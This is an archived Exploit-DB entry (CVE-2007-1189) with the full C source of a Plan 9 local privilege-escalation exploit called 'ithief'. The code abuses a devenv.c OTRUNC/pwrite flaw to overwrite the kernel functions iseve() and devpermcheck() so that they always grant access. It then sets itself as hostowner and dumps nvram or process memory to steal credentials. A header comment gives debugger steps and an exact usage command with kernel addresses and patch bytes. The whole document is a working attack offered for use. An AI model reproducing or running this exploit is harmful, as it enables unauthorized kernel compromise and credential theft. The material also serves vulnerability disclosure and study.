标题: Plan 9 Kernel - 'devenv.c OTRUNC/pwrite' Local Privilege Escalation EDB-ID: 3383 CVE: 2007-1189 类型: LOCAL 平台: PLAN9 发布日期: 2007-02-28 漏洞利用脚本: /* !!! DO NOT DISTRIBUTE !!! */

/* identity theft 
 *
 * this exploit uses my devenv.c OTRUNC/pwrite vulnerability
 * to overwrite specific kernel addresses to help elevate our
 * privileges. this exploit is *very* picky, so you *must*
 * understand the plan9 kernel and know what you are
 * doing, though a best-practice usage example will 
 * guide new users.
 *
 * the exploit process is:
 * 1) determine the user we're running as
 * 2) determine the hostowner for the server
 * 3) overwrite specific kernel addresses
 * 4) write our username to  '#c/hostowner' 
 * 5) steal credentials by copying nvram or paging
 *  through kernel memory for resident creds
 * 6) reset previously overwritten functions 
 * 7) write the original username back to '#c/hostowner'
 *
 * a best practice usage example is to overwrite iseve() so
 * the kernel is tricked into thinking we're the host owner. 
 * secondly, we can overwrite devpermcheck() to trick the
 * kernel into thinking we have permissions to access any
 * given in-kernel device file. this will give us immediate
 * access to things like /srv/fscons and '#S/sdC0/nvram'. 
 *
 * to get the address you want to overwrite, use the plan9
 * debugger after you figure out which kernel the system
 * is booting:
 *
 * cpu% acid /386/9pccpu
 * /386/9pccpu:386 plan 9 boot image
 *
 * /sys/lib/acid/port
 * /sys/lib/acid/386
 * acid: print(iseve)
 * 0xf018d3db
 * acid: mem(iseve, "X")
 * 0x8b0cec83
 * acid: print(devpermcheck)
 * 0xf0192a6b
 * acid: mem(devpermcheck, "X")
 * 0x8b14ec83
 * acid: ^D
 * cpu% ./itheft -n -o nvram.img -s 0,1024 \
 * -k 0xf018d3db,83ec0c8b,31c040c3 \
 * -k 0xf0192a6b,83ec148b,31c040c3
 *
 * as you can see, we overwrite the function addresses in 
 * kmem with:
 *
 * xorl %eax, %eax
 * incl %eax
 * retl
 *
 * a note on exploit effects. 
 * when we overwrite '#c/hostowner', the kernel 
 * automatically changes all processes owned by the 
 * previous hostowner id to the new id. when the exploit
 * has obtained the target information from the kernel, it
 * will write the previous hostowner id to '#c/hostowner'. 
 * since *your* id was now just the hostowner id, this 
 * second write will alter *your* bin/rc instance's owner
 * to the id of the original hostowner. this may seem 
 * desirable, however it isn't. the reason is that despite 
 * having access to the hostowner's name, we don't have
 * access to the hostowner's credentials. thus, access to
 * their files and factotum is still disabled. 
 * 
 * therefore, it's best to immediately exit your CPU shell
 * once the exploit is finished. 
 *
 * lastly, when using a target of Tmem, expect a kernel 
 * panic when you trigger a page fault with a bad address. 
 * make sure you define an appropriate base and ceiling 
 * when paging through memory. 
 *
 * NB: it'd be nice to have a memory disclosure exploit that's
 * as reliable as this one to help verify whether or not the 
 * kernel addresses are as expected (whether or not we've
 * ran bin/acid on the appropriate kernel and obtained the
 * correct kernel addresses)
 *
 * Don "north" Bailey 12/27/06
 * don.bailey@gmail.com
 *
 * you say the hill is too steep to climb
 * you say you'd like to see me try
 * you pick the place and I'll choose the time
 * and I'll climb the hill in my own way
 *  - gilmour/waters
 */

#include <u.h>
#include <libc.h>

enum
{
 False,
 True,
};

enum
{
 Anew,
 Aold,
};

enum
{
 Tmem,
 Tnvram,
};

typedef struct Seg Seg;
typedef struct Kfunc Kfunc;

struct
Seg
{
 ulong base;
 ulong ceiling;
};

struct
Kfunc
{
 int nnew;
 int nold;
 vlong addr;
 uchar * new;
 uchar * old;
 Kfunc * next; 
};

static int outfd;
static int envfd;
static char * us;
static Seg * seg;
static int pagesz;
static Kfunc * kf;
static char * them;
static char * outfile;
static char * envpath;
static int target = Tnvram;

static int spin(void);
static int steal(void);
static int kwrite(int);
static void usage(void);
static int addk(char * );
static int envfile(void);
static uchar gethex(char);
static void cleanup(void);
static int getpagesz(void);
static int envremove(void);
static int addseg(char * );
static void delk(Kfunc ** );
static int myidentity(void);
static int stealfile(char * );
static int youridentity(void);
static int sethostowner(char * );
static void err(const char *, ... );
static void msg(const char *, ... );
static int arguments(int, char ** );
static int userfile(char *, char ** );
static void xstrdup(char *, char ** );
static int parsebytes(char *, uchar **, int * );

void
main(int argc, char * argv[])
{
 int e;

 e = arguments(argc, argv);
 if(!e)
  usage();
 else
  e = spin();

 cleanup();

 if(e)
  exits(nil);

 exits("you suck as a thief");
}

static void
cleanup(void)
{
 Kfunc * k;
 Kfunc * l;

 if(us)
  free(us);
 if(seg)
  free(seg);
 if(them)
  free(them);
 if(outfile)
  free(outfile);
 if(envpath)
  free(envpath);

 if(envfd > 0)
  close(envfd);
 if(outfd > 0)
  close(outfd);

 for(k = kf; k; k = l)
 {
  l = k->next;
  delk(&k);
 }
}

static void
usage(void)
{
 fprint(
  2, 
  "usage: ithief [-{n|m}] -s base,ceiling "
  "-o outfile -k ... [-k ... ]\n");
}

static int
arguments(int argc, char ** argv)
{
 char * p;

 ARGBEGIN
 {
 case 'n':
  {
   target = Tnvram;
   break;
  }
 case 'm':
  {
   target = Tmem;
   break;
  }
 case 's':
  {
   p = ARGF();
   if(!p)
   {
    err("option 's' needs an argument");
    return False;
   }

   if(!addseg(p))
    return False;

   break;
  }
 case 'k':
  {
   p = ARGF();
   if(!p)
   {
    err("option 'k' needs an argument");
    return False;
   }

   if(!addk(p))
    return False;

   break;
  }
 case 'o':
  {
   p = ARGF();
   if(!p)
   {
    err("option 'o' needs an argument");
    return False;
   }

   if(outfile)
   {
    err("option 'o' already set");
    return False;
   }

   xstrdup(p, &outfile);
   break;
  }
 default:
  {
   err("unknown option '%c'", ARGC());
   return False;
  }
 }
 ARGEND

 if(!kf)
 {
  err("at least one 'k' is required");
  return False;
 }

 if(!seg)
 {
  err("one 's' is required");
  return False;
 }

 if(!outfile)
 {
  err("an output file is required");
  return False;
 }

 return True;
}

static void
err(const char * fmt, ... )
{
 va_list v;

 va_start(v, fmt);

 fprint(2, "error: ");
 vfprint(2, fmt, v);
 fprint(2, "\n");

 va_end(v);
}

static void
msg(const char * fmt, ... )
{
 va_list v;

 va_start(v, fmt);

 fprint(1, "ithief: ");
 vfprint(1, fmt, v);
 fprint(1, "\n");

 va_end(v);
}

static void
xstrdup(char * in, char ** outp)
{
 char * out;
 int sz;

 sz = strlen(in) + 1;

 out = calloc(1, sz);
 if(!out)
 {
  perror("calloc");
  abort();
 }

 memcpy(out, in, sz);
 *outp = out;
}

static int
addk(char * p)
{
 Kfunc * kp;
 Kfunc * k;
 char * c;
 char * e;
 char t;

 k = calloc(1, sizeof *k);
 if(!k)
 {
  perror("calloc");
  abort();
 }

 for(c = p; *c && *c != ','; c++)
  ;
 t = *c;
 *c = 0;

 k->addr = strtoull(p, 0, 0);
 *c = t;

 if(!t)
  goto _fail;

 for(e = ++c; *c && *c != ','; c++)
  ;
 t = *c;
 *c = 0;

 if(!parsebytes(e, &k->old, &k->nold))
  goto _fail;

 if(!t)
  goto _fail;

 for(e = ++c; *c; c++)
  ;

 if(!parsebytes(e, &k->new, &k->nnew))
  goto _fail;

 for(kp = kf; kp && kp->next; kp = kp->next)
  ;
 if(!kp)
  kf = k;
 else
  kp->next = k;

 return True;

_fail:
 err("invalid K syntax");
 delk(&k);
 return False;
}

static void
delk(Kfunc ** kp)
{
 Kfunc * k;

 k = *kp;
 *kp = nil;

 if(k->new)
  free(k->new);
 if(k->old)
  free(k->old);

 free(k);
}

static int
parsebytes(char * p, uchar ** bytesp, int * np)
{
 uchar * bytes;
 uchar byte;
 int n;

 n = strlen(p);
 if(n % 2)
 {
  err("the byte stream must be an even length");
  return False;
 }

 n = 0;
 bytes = nil;

 while(p[0] && p[1])
 {
  byte = gethex(p[0]) << 4 | gethex(p[1]);
  bytes = realloc(bytes, (n + 1) * sizeof *bytes);
  bytes[n++] = byte;
  p += 2;
 }

 *bytesp = bytes;
 *np = n;

 return True;
}

static uchar 
gethex(char c)
{
 return (c >= '0' && c <= '9') ? c - '0' :
   (c >= 'a' && c <= 'f') ? c - 'a' + 10 :
    (c >= 'A' && c <= 'F') ? c - 'A' + 10 :
     -1;
}

static int
spin(void)
{
 outfd = create(outfile, OWRITE, 0600);
 if(outfd < 0)
 {
  err("can't create \"%s\": %r", outfile);
  return False;
 }

 if(!getpagesz())
  return False;

 if(!myidentity())
  return False;

 if(!youridentity())
  return False;

 if(!envfile())
  return False;

 if(!kwrite(Anew))
  return False;

 if(!sethostowner(us))
  return False;

 if(!steal())
  return False;

 if(!kwrite(Aold))
  return False;

 if(!sethostowner(them))
  return False;

 return envremove();
}

static int
getpagesz(void)
{
 char buffer[64];
 char * p;
 char * q;
 int fd;
 int e;

 fd = open("#c/swap", OREAD);
 if(fd < 0)
 {
  err("can't open \"#c/swap\": %r");
  return False;
 }

 e = read(fd, buffer, sizeof buffer);
 if(e < 0)
 {
  err("can't read \"#c/swap\": %r");
  close(fd);
  return False;
 }

 close(fd);

 for(p = buffer; (p - buffer) < sizeof buffer && *p != '\n'; p++)
  ;
 for(q = ++p; 
  (q - buffer) < sizeof buffer && (*q != ' ' && *q != '\t'); 
  q++)
  ;
 *q = 0;

 pagesz = strtoul(p, 0, 0);
 msg("the system page size is %d", pagesz);

 return True;
}

static int
myidentity(void)
{
 if(!userfile("#c/user", &us))
  return False;

 msg("we are \"%s\"", us);
 return True;
}

static int
youridentity(void)
{
 if(!userfile("#c/hostowner", &them))
  return False;

 if(!strcmp(us, them))
 {
  err("we are the hostowner, genius");
  return False;
 }

 msg("they are \"%s\"", them);
 return True;
}

static int
userfile(char * uf, char ** namep)
{
 char buffer[1024];
 int fd;
 int n;

 fd = open(uf, OREAD);
 if(fd < 0)
 {
  err("can't obtain an username from \"%s\": %r", uf);
  return False;
 }

 n = read(fd, buffer, sizeof buffer);
 if(n <= 0)
 {
  err("bad read on \"%s\"? %r");
  close(fd);
  return False;
 }

 if(n == sizeof buffer)
  n = sizeof buffer - 1;

 buffer[n] = 0;

 close(fd);
 xstrdup(buffer, namep);

 return True;
}

static int
envfile(void)
{
 char buffer[32];
 char * p;
 int fd;

 /* easier to just create our own and rm it */

 snprint(buffer, sizeof buffer, "#e/XXXXXXXXXXX");

 p = mktemp(buffer);
 if(!p[0] || (p[0] == '/' && !p[1]))
 {
  err("mktemp failed: %r");
  return False;
 }

 msg("creating \"%s\"", p);

 fd = create(p, ORDWR, 0600);
 if(fd < 0)
 {
  err("can't create \"%s\": %r", p);
  return False;
 }

 msg("truncating \"%s\"", p);
 close(fd);

 fd = open(p, OWRITE|OTRUNC);
 if(fd < 0)
 {
  err("can't open \"%s\": %r", p);
  return False;
 }

 msg("\"%s\" is ready for manipulation", p);

 xstrdup(buffer, &envpath);
 envfd = fd;

 return True;
}

static int
kwrite(int obj)
{
 Kfunc * k;
 uchar * p;
 long b;
 long n;

 for(k = kf; k; k = k->next)
 {
  if(obj == Anew)
  {
   p = k->new;
   b = k->nnew;
  }
  else
  {
   p = k->old;
   b = k->nold;
  }

  msg(
   "writing %d %s bytes to %lluX", 
   b, 
   obj == Anew ? "new" : "old", 
   k->addr);

  n = pwrite(envfd, p, b, k->addr);
  if(n != b)
  {
   err("failed to write to \"%s\": %r", envpath);
   return False;
  }
 }

 return True;
}

static int
sethostowner(char * new)
{
 char * test;
 int fd;
 int n;
 int e;

 fd = open("#c/hostowner", OWRITE);
 if(fd < 0)
 {
  err("can't open \"#c/hostowner\": %r");
  return False;
 }

 n = strlen(new);

 e = write(fd, new, n);
 if(e != n)
 {
  err("write to \"#c/hostowner\" failed: %r");
  close(fd);
  return False;
 }

 close(fd);
 msg("write of \"%s\" to \"#c/hostowner\" succeeded", new);

 if(!userfile("#c/hostowner", &test))
 {
  err("can't retrieve \"#c/hostowner\" for comparison?");
  return False;
 }

 e = strcmp(new, test) == 0;
 if(!e)
 {
  err(
   "write on \"#c/hostowner\" succeeded but stored"
   "value isn't as expected: \"%s\"", 
   test);
 }

 free(test);

 return e;
}

static int
steal(void)
{
 char buffer[32];

 if(target == Tnvram)
  return stealfile("#S/sdC0/nvram");

 snprint(buffer, sizeof buffer, "#p/%d/mem", getpid());

 return stealfile(buffer);
}

static int
stealfile(char * path)
{
 uchar * page;
 ulong addr;
 long n;
 int fd;

 msg("opening \"%s\" for imaging", path);

 fd = open(path, OREAD);
 if(fd < 0)
 {
  err("can't open \"%s\": %r", path);
  return False;
 }

 page = calloc(1, pagesz);
 if(!page)
 {
  err("calloc failed: %r");
  abort();
 }

 addr = seg->base;

 while(addr < seg->ceiling)
 {
  n = pread(fd, page, pagesz, addr);
  if(n <= 0)
  {
   if(n < 0)
    err("read on \"%s\" failed: %r", path);
   break;
  }

  write(outfd, page, n);
  addr += n;
 }

 return True;
}

static int
envremove(void)
{
 remove(envpath);
 return True;
}

static int
addseg(char * p)
{
 ulong ceiling;
 ulong base;
 char * c;
 Seg * s;
 char t;

 if(seg)
 {
  err("only one segment can be defined");
  return False;
 }

 for(c = p; *c && *c != ','; c++)
  ;
 if(!*c)
 {
  err("invalid seg syntax");
  return False;
 }

 t = *c;
 *c = 0;

 base = strtoul(p, 0, 0);
 *c++ = t;

 ceiling = strtoul(c, 0, 0);

 if(ceiling <= base)
 {
  err("invalid seg syntax; ceiling <= base");
  return False;
 }

 s = calloc(1, sizeof *s);
 if(!s)
 {
  perror("calloc");
  abort();
 }

 s->base = base;
 s->ceiling = ceiling;

 msg("using a segment of %luX -> %luX", s->base, s->ceiling);

 seg = s;

 return True;
}

// milw0rm.com [2007-02-28] URL: https://www.exploit-db.com/exploits/3383